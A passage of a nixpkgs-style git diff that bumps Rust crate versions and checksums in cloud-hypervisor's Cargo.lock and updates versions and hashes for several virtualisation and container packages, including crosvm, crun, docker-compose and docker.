"git+https://github.com/rust-vmm/mshv?branch=main#0dd4d3452a7f2e95199f4b58380acc41458474de" +source = "git+https://github.com/rust-vmm/mshv?branch=main#9d0c11fe9fedfbcf56a5d62fbf4bad80cdf91340" dependencies = [ "libc", "serde", @@ -1299,7 +1307,7 @@ dependencies = [ [[package]] name = "mshv-ioctls" version = "0.1.1" -source = "git+https://github.com/rust-vmm/mshv?branch=main#0dd4d3452a7f2e95199f4b58380acc41458474de" +source = "git+https://github.com/rust-vmm/mshv?branch=main#9d0c11fe9fedfbcf56a5d62fbf4bad80cdf91340" dependencies = [ "libc", "mshv-bindings", @@ -1385,9 +1393,9 @@ dependencies = [ [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "open-enum" @@ -1420,9 +1428,9 @@ dependencies = [ [[package]] name = "openssl-sys" -version = "0.9.93" +version = "0.9.99" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db4d56a4c0478783083cfafcc42493dd4a981d41669da64b4572a2a089b51b1d" +checksum = "22e1bf214306098e4832460f797824c05d25aacdf896f64a985fb0fd992454ae" dependencies = [ "cc", "libc", @@ -1549,22 +1557,22 @@ dependencies = [ [[package]] name = "pin-project" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -1580,6 +1588,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" [[package]] +name = "piper" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "668d31b1c4eba19242f2088b2bf3316b82ca31082a8335764db4e083db7485d4" +dependencies = [ + "atomic-waker", + "fastrand 2.0.0", + "futures-io", +] + +[[package]] name = "pkg-config" version = "0.3.27" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1630,7 +1649,7 @@ dependencies = [ "proc-macro2", "quote", "regex", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -1710,18 +1729,18 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.70" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] @@ -1766,8 +1785,10 @@ checksum = "8edc89eaa583cf6bc4c6ef16a219f0a60d342ca3bf0eae793560038ac8af1795" name = "rate_limiter" version = "0.1.0" dependencies = [ + "epoll", "libc", "log", + "thiserror", "vmm-sys-util", ] @@ -1837,7 +1858,7 @@ checksum = "bce3a7139d2ee67d07538ee5dba997364fbc243e7e7143e96eb830c74bfaa082" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -1853,15 +1874,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] -name = "rustc_version" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" -dependencies = [ - "semver", -] - -[[package]] name = "rustix" version = "0.37.27" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1877,14 +1889,14 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.8" +version = "0.38.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19ed4fa021d81c8392ce04db050a3da9a60299050b7ae1cf482d862b54a7218f" +checksum = "dc99bc2d4f1fed22595588a013687477aedf3cdcfb26558c559edb67b4d9b22e" dependencies = [ "bitflags 2.4.1", "errno", "libc", - "linux-raw-sys 0.4.5", + "linux-raw-sys 0.4.13", "windows-sys 0.48.0", ] @@ -1910,36 +1922,30 @@ dependencies = [ ] [[package]] -name = "semver" -version = "1.0.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" - -[[package]] name = "serde" -version = "1.0.168" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d614f89548720367ded108b3c843be93f3a341e22d5674ca0dd5cd57f34926af" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.168" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4fe589678c688e44177da4f27152ee2d190757271dc7f1d5b6b9f68d869d641" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] name = "serde_json" -version = "1.0.107" +version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b420ce6e3d8bd882e9b243c6eed35dbc9a6110c9769e74b584e0d68d1f20c65" +checksum = "cb0652c533506ad7a2e353cce269330d6afd8bdfb6d75e0ace5b35aacbd7b9e9" dependencies = [ "itoa", "ryu", @@ -1954,7 +1960,7 @@ checksum = "3081f5ffbb02284dda55132aa26daecedd7372a42417bbbab6f14ab7d6bb9145" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -1976,7 +1982,7 @@ dependencies = [ "darling", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -2024,9 +2030,9 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.0" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "socket2" @@ -2084,9 +2090,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.31" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "718fa2415bcb8d8bd775917a1bf12a7931b6dfa890753378538118181e0cb398" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -2112,7 +2118,7 @@ dependencies = [ "cfg-if", "fastrand 2.0.0", "redox_syscall 0.3.5", - "rustix 0.38.8", + "rustix 0.38.25", "windows-sys 0.48.0", ] @@ -2131,7 +2137,7 @@ version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7" dependencies = [ - "rustix 0.38.8", + "rustix 0.38.25", "windows-sys 0.48.0", ] @@ -2152,22 +2158,22 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.40" +version = "1.0.52" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "978c9a314bd8dc99be594bc3c175faaa9794be04a5a5e153caba6915336cebac" +checksum = "83a48fd946b02c0a526b2e9481c8e2a17755e47039164a86c4070446e3a4614d" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.40" +version = "1.0.52" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9456a42c5b0d803c8cd86e73dd7cc9edd429499f37a3550d286d5e86720569f" +checksum = "e7fbe9b594d6568a6a1443250a7e67d80b74e1e96f6d1715e1e21cc1888291d3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] @@ -2219,11 +2225,10 @@ dependencies = [ [[package]] name = "tracing" -version = "0.1.37" +version = "0.1.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ - "cfg-if", "pin-project-lite", "tracing-attributes", "tracing-core", @@ -2231,20 +2236,20 @@ dependencies = [ [[package]] name = "tracing-attributes" -version = "0.1.26" +version = "0.1.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] name = "tracing-core" -version = "0.1.31" +version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0955b8137a1df6f1a2e9a37d8a6656291ff0297c1a97c24e0d8425fe2312f79a" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" dependencies = [ "once_cell", ] @@ -2300,9 +2305,9 @@ checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] name = "versionize" -version = "0.1.10" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dca4b7062e7e6d685901e815c35f9671e059de97c1c0905eeff8592f3fff442f" +checksum = "62929d59c7f6730b7298fcb363760550f4db6e353fbac4076d447d0e82799d6d" dependencies = [ "bincode", "crc64", @@ -2317,8 +2322,8 @@ dependencies = [ [[package]] name = "versionize_derive" -version = "0.1.4" -source = "git+https://github.com/cloud-hypervisor/versionize_derive?branch=ch#e502b1d4aabab342386f0c53780d49f21a6a1df6" +version = "0.1.6" +source = "git+https://github.com/cloud-hypervisor/versionize_derive?branch=ch-0.1.6#7906da996152e2d0ab08f5526440683bf3ca7834" dependencies = [ "proc-macro2", "quote", @@ -2328,7 +2333,7 @@ dependencies = [ [[package]] name = "vfio-bindings" version = "0.4.0" -source = "git+https://github.com/rust-vmm/vfio?branch=main#59c604fa6e42080f0a47c124ba29454fe4cb7475" +source = "git+https://github.com/rust-vmm/vfio?branch=main#0daff4d4c159e842cf18b8b90457a45032b2df5a" dependencies = [ "vmm-sys-util", ] @@ -2336,7 +2341,7 @@ dependencies = [ [[package]] name = "vfio-ioctls" version = "0.2.0" -source = "git+https://github.com/rust-vmm/vfio?branch=main#59c604fa6e42080f0a47c124ba29454fe4cb7475" +source = "git+https://github.com/rust-vmm/vfio?branch=main#0daff4d4c159e842cf18b8b90457a45032b2df5a" dependencies = [ "byteorder", "kvm-bindings", @@ -2354,7 +2359,7 @@ dependencies = [ [[package]] name = "vfio_user" version = "0.1.0" -source = "git+https://github.com/rust-vmm/vfio-user?branch=main#6c72e997e61d9e84b8ee691ad63ece6c717cf5aa" +source = "git+https://github.com/rust-vmm/vfio-user?branch=main#a1f6e52829e069b6d698b2cfeecac742e4653186" dependencies = [ "bitflags 1.3.2", "libc", @@ -2370,9 +2375,9 @@ dependencies = [ [[package]] name = "vhost" -version = "0.9.0" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "289adfce099c71f8310f895932ccd978f352ca494ea47496dbe20d4241888b82" +checksum = "2b64e816d0d49769fbfaa1494eb77cc2a3ddc526ead05c7f922cb7d64106286f" dependencies = [ "bitflags 2.4.1", "libc", @@ -2382,9 +2387,9 @@ dependencies = [ [[package]] name = "vhost-user-backend" -version = "0.11.0" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61255322e3ebe93fb77d9f6d99577eca7089bbea4174076c5353a8024a463061" +checksum = "72c8c447d076ac508d78cb45664d203df7989e891656dce260a7e93d72352c9a" dependencies = [ "libc", "log", @@ -2474,9 +2479,9 @@ dependencies = [ [[package]] name = "virtio-queue" -version = "0.10.0" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73a01db2cfb6c4b9bc20608b1336263d16714ea8db05de9fec2a254e076f9385" +checksum = "e3f69a13d6610db9312acbb438b0390362af905d37634a2106be70c0f734986d" dependencies = [ "log", "virtio-bindings", @@ -2513,9 +2518,9 @@ source = "git+https://github.com/rust-vmm/vm-fdt?branch=main#77212bd0d62913e445c [[package]] name = "vm-memory" -version = "0.13.1" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5376c9ee5ebe2103a310d8241936cfb93c946734b0479a4fa5bdf7a64abbacd8" +checksum = "74ffc42216c32c35f858fa4bfdcd9b61017dfd691e0240268fdc85dbf59e5459" dependencies = [ "arc-swap", "libc", @@ -2579,6 +2584,7 @@ dependencies = [ "option_parser", "pci", "range_map_vec", + "rate_limiter", "seccompiler", "serde", "serde_json", @@ -2605,9 +2611,9 @@ dependencies = [ [[package]] name = "vmm-sys-util" -version = "0.11.1" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd64fe09d8e880e600c324e7d664760a17f56e9672b7495a86381b49e4f72f46" +checksum = "1d1435039746e20da4f8d507a72ee1b916f7b4b05af7a91c093d2c6561934ede" dependencies = [ "bitflags 1.3.2", "libc", @@ -2657,7 +2663,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", "wasm-bindgen-shared", ] @@ -2679,7 +2685,7 @@ checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -2740,6 +2746,15 @@ dependencies = [ ] [[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] name = "windows-targets" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2770,6 +2785,21 @@ dependencies = [ ] [[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] name = "windows_aarch64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2782,6 +2812,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] name = "windows_aarch64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2794,6 +2830,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] name = "windows_i686_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2806,6 +2848,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" [[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] name = "windows_i686_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2818,6 +2866,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" [[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] name = "windows_x86_64_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2830,6 +2884,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" [[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2842,6 +2902,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] name = "windows_x86_64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2854,10 +2920,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] name = "winnow" -version = "0.5.18" +version = "0.5.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "176b6138793677221d420fd2f0aeeced263f197688b36484660da767bca2fa32" +checksum = "5389a154b01683d28c77f8f68f49dea75f0a4da32557a58f68ee51ebba472d29" dependencies = [ "memchr", ] @@ -2940,9 +3012,9 @@ dependencies = [ [[package]] name = "zerocopy" -version = "0.7.21" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "686b7e407015242119c33dab17b8f61ba6843534de936d94368856528eae4dcc" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" dependencies = [ "byteorder", "zerocopy-derive", @@ -2950,13 +3022,13 @@ dependencies = [ [[package]] name = "zerocopy-derive" -version = "0.7.21" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "020f3dfe25dfc38dfea49ce62d5d45ecdd7f0d8a724fa63eb36b6eba4ec76806" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.48", ] [[package]] diff --git a/pkgs/applications/virtualization/cloud-hypervisor/default.nix b/pkgs/applications/virtualization/cloud-hypervisor/default.nix index 8c0d6e9e1c1be..44bbdcd66313c 100644 --- a/pkgs/applications/virtualization/cloud-hypervisor/default.nix +++ b/pkgs/applications/virtualization/cloud-hypervisor/default.nix @@ -2,27 +2,26 @@ rustPlatform.buildRustPackage rec { pname = "cloud-hypervisor"; - version = "37.0"; + version = "38.0"; src = fetchFromGitHub { owner = "cloud-hypervisor"; repo = pname; rev = "v${version}"; - hash = "sha256-zNk3KkKl0bEZUdsWe+9FEMKVepZeQWGasDIn68NEVyw="; + hash = "sha256-Lhug7DCa+QutlvksL6EFQa04UK/sWebDIkqQmwPUpX4="; }; cargoLock = { lockFile = ./Cargo.lock; outputHashes = { - "acpi_tables-0.1.0" = "sha256-FYjzwCSjuTUDCCQPC2ccDpwRRaG1eT5XgV/b8uSu8uc="; + "acpi_tables-0.1.0" = "sha256-syDq+db1hTne6QoP0vMGUv4tB0J9arQG2Ea2hHW1k3M="; "igvm-0.1.0" = "sha256-l+Qyhdy3b8h8hPLHg5M0os8aSkjM55hAP5nqi0AGmjo="; - "kvm-bindings-0.6.0" = "sha256-wGdAuPwsgRIqx9dh0m+hC9A/Akz9qg9BM+p06Fi5ACM="; - "kvm-ioctls-0.13.0" = "sha256-jHnFGwBWnAa2lRu4a5eRNy1Y26NX5MV8alJ86VR++QE="; - "micro_http-0.1.0" = "sha256-Ov75Gs+wSmsxOHJu024nWtOJp0cKpS8bkxJJGW6jiKw="; - "mshv-bindings-0.1.1" = "sha256-4ADpLvi9hmHsMyGtqDQ2Msa3aMZmJsi4BPW7B5ZfAMw="; - "versionize_derive-0.1.4" = "sha256-oGuREJ5+FDs8ihmv99WmjIPpL2oPdOr4REk6+7cV/7o="; - "vfio-bindings-0.4.0" = "sha256-grOV+7W1tB4YDRAFbDNQp5nQ1WaivH+N+qHTIj4WA+E="; - "vfio_user-0.1.0" = "sha256-Vi6dBu1mUwyWh7ryKDOBS6GeUD2sqqIrt/bth/LDW6s="; + "kvm-bindings-0.7.0" = "sha256-hXv5N3TTwGQaVxdQ/DTzLt+uwLxFnstJwNhxRD2K8TM="; + "micro_http-0.1.0" = "sha256-gyeOop6AMXEIbLXhJMN/oYGGU8Un8Y0nFZc9ucCa0y4="; + "mshv-bindings-0.1.1" = "sha256-yWvkpOcW3lV47s+rWnN4Bki8tt8CkiPVZ0I36nrWMi4="; + "versionize_derive-0.1.6" = "sha256-eI9fM8WnEBZvskPhU67IWeN6QAPg2u5EBT+AOxfb/fY="; + "vfio-bindings-0.4.0" = "sha256-Dk4T2dMzPZ+Aoq1YSXX2z1Nky8zvyDl7b+A8NH57Hkc="; + "vfio_user-0.1.0" = "sha256-LJ84k9pMkSAaWkuaUd+2LnPXnNgrP5LdbPOc1Yjz5xA="; "vm-fdt-0.2.0" = "sha256-lKW4ZUraHomSDyxgNlD5qTaBTZqM0Fwhhh/08yhrjyE="; }; }; diff --git a/pkgs/applications/virtualization/cri-o/default.nix b/pkgs/applications/virtualization/cri-o/default.nix index edf4f1f60d4af..50e49fd192acd 100644 --- a/pkgs/applications/virtualization/cri-o/default.nix +++ b/pkgs/applications/virtualization/cri-o/default.nix @@ -15,13 +15,13 @@ buildGoModule rec { pname = "cri-o"; - version = "1.29.1"; + version = "1.29.2"; src = fetchFromGitHub { owner = "cri-o"; repo = "cri-o"; rev = "v${version}"; - sha256 = "sha256-RL4JkEJMVduG06udIVlVdr+bj9wIGbun3rpeTCUehhk="; + hash = "sha256-il28u2+Jv2gh6XqRV4y6u0FDZ4flmcp+bOj9aibL+ro="; }; vendorHash = null; diff --git a/pkgs/applications/virtualization/crosvm/default.nix b/pkgs/applications/virtualization/crosvm/default.nix index 95cada54296a4..3e70bd390e16c 100644 --- a/pkgs/applications/virtualization/crosvm/default.nix +++ b/pkgs/applications/virtualization/crosvm/default.nix @@ -1,32 +1,22 @@ -{ lib, rustPlatform, fetchgit, fetchpatch +{ lib, rustPlatform, fetchgit , pkg-config, protobuf, python3, wayland-scanner , libcap, libdrm, libepoxy, minijail, virglrenderer, wayland, wayland-protocols }: rustPlatform.buildRustPackage rec { pname = "crosvm"; - version = "120.0"; + version = "121.3"; src = fetchgit { url = "https://chromium.googlesource.com/chromiumos/platform/crosvm"; - rev = "0a9d1cb8be29e49c355ea8b18cd58506dbbaf6e5"; - sha256 = "BbCcsxJU25VgWVday4rGPXaJSuAWebNGo3MiYPIBBto="; + rev = "1e7125327a29b7b7a0593caf339d382728c55cf6"; + sha256 = "Rjs46TtOhFZxqnEyqa4IyrRs7HnDZ/DJZ9DPEe7Oux0="; fetchSubmodules = true; }; - patches = [ - (fetchpatch { - name = "test-page-size-fix.patch"; - url = "https://chromium.googlesource.com/crosvm/crosvm/+/d9bc6e99ff5ac31d7d88b684c938af01a0872fc1%5E%21/?format=TEXT"; - decode = "base64 -d"; - includes = [ "src/crosvm/config.rs" ]; - hash = "sha256-3gfNzp0WhtNr+8CWSISCJau208EMIo3RJhM+4SyeV3o="; - }) - ]; - separateDebugInfo = true; - cargoHash = "sha256-YXfKZeRL3gfWztf36lVNbCCwUqW+0w3q7X7v0arCrvk="; + cargoHash = "sha256-7nfeg/q8baLvB0CoRWKU60TRfLAaRkeRxGojPvKpOLs="; nativeBuildInputs = [ pkg-config protobuf python3 rustPlatform.bindgenHook wayland-scanner diff --git a/pkgs/applications/virtualization/crun/default.nix b/pkgs/applications/virtualization/crun/default.nix index 336321d09a20e..a17a115c2c597 100644 --- a/pkgs/applications/virtualization/crun/default.nix +++ b/pkgs/applications/virtualization/crun/default.nix @@ -39,13 +39,13 @@ let in stdenv.mkDerivation rec { pname = "crun"; - version = "1.14.1"; + version = "1.14.4"; src = fetchFromGitHub { owner = "containers"; repo = pname; rev = version; - hash = "sha256-IEfHww+kAPKcTe5bWM+YuDe6PHlSdZQVEunlBMQ29Ic="; + hash = "sha256-f+cG9800QKZH4+9ie97TmTbQlpLXe+z+47ptP+HgIgs="; fetchSubmodules = true; }; diff --git a/pkgs/applications/virtualization/ddev/default.nix b/pkgs/applications/virtualization/ddev/default.nix index 3709b8dbd9012..cf4a13dee0311 100644 --- a/pkgs/applications/virtualization/ddev/default.nix +++ b/pkgs/applications/virtualization/ddev/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "ddev"; - version = "1.22.6"; + version = "1.22.7"; src = fetchFromGitHub { owner = "ddev"; repo = "ddev"; rev = "v${version}"; - hash = "sha256-i+uubmCQwJALt7YRuANpEN2AAn9i6880MaXkayIZ82g="; + hash = "sha256-bFQW12VzH+/OXTRBavEdfxnGowJt5TKM3r0UD64ALVs="; }; vendorHash = null; diff --git a/pkgs/applications/virtualization/docker/buildx.nix b/pkgs/applications/virtualization/docker/buildx.nix index 24e2d5113cfac..000bb6ee4bcd3 100644 --- a/pkgs/applications/virtualization/docker/buildx.nix +++ b/pkgs/applications/virtualization/docker/buildx.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "docker-buildx"; - version = "0.12.1"; + version = "0.13.0"; src = fetchFromGitHub { owner = "docker"; repo = "buildx"; rev = "v${version}"; - hash = "sha256-QC2mlJWjOtqYAB+YrL+s2FsJ79LuLFZGOgSVGL6WmX8="; + hash = "sha256-R4+MVC8G4wNwjZtBnLFq+TBiesUYACg9c5y2CUcqHHQ="; }; doCheck = false; diff --git a/pkgs/applications/virtualization/docker/compose.nix b/pkgs/applications/virtualization/docker/compose.nix index f6f2e5f5a8433..e3f0ec1b97bdf 100644 --- a/pkgs/applications/virtualization/docker/compose.nix +++ b/pkgs/applications/virtualization/docker/compose.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "docker-compose"; - version = "2.24.5"; + version = "2.24.6"; src = fetchFromGitHub { owner = "docker"; repo = "compose"; rev = "v${version}"; - hash = "sha256-mn6HkGLQM5kx6yzV4IK+GTV6pCoIm1CNjQ8AZLv3sMw="; + hash = "sha256-CrQM9fTXGI3uGAk2yk/+enBr9LuMhNFLFBYHT78lNWc="; }; postPatch = '' @@ -16,7 +16,7 @@ buildGoModule rec { rm -rf e2e/ ''; - vendorHash = "sha256-KR+4OZKabshnGpkPq8vtEutvQUE+3jVwAlfAwFVlscU="; + vendorHash = "sha256-0YZ36fouuVjj12a7d9F8OkJAmtLIHo0bZhcmOYO5Ki4="; ldflags = [ "-X github.com/docker/compose/v2/internal.Version=${version}" "-s" "-w" ]; diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix index 343b001480556..9b6bb0a48be3a 100644 --- a/pkgs/applications/virtualization/docker/default.nix +++ b/pkgs/applications/virtualization/docker/default.nix @@ -120,7 +120,7 @@ rec { ]; postPatch = '' - patchShebangs hack/make.sh hack/make/ + patchShebangs hack/make.sh hack/make/ hack/with-go-mod.sh ''; buildPhase = '' @@ -306,4 +306,18 @@ rec { tiniRev = "v0.19.0"; tiniHash = "sha256-ZDKu/8yE5G0RYFJdhgmCdN3obJNyRWv6K/Gd17zc1sI="; }; + + docker_25 = callPackage dockerGen rec { + version = "25.0.3"; + cliRev = "v${version}"; + cliHash = "sha256-Jvb0plV1O/UzrcpzN4zH5OulmTVF+p9UQQQ9xqkiObQ="; + mobyRev = "v${version}"; + mobyHash = "sha256-cDlRVdQNzH/X2SJUYHK1QLUHlKQtSyRYCVbz3wPx1ZM="; + runcRev = "v1.1.12"; 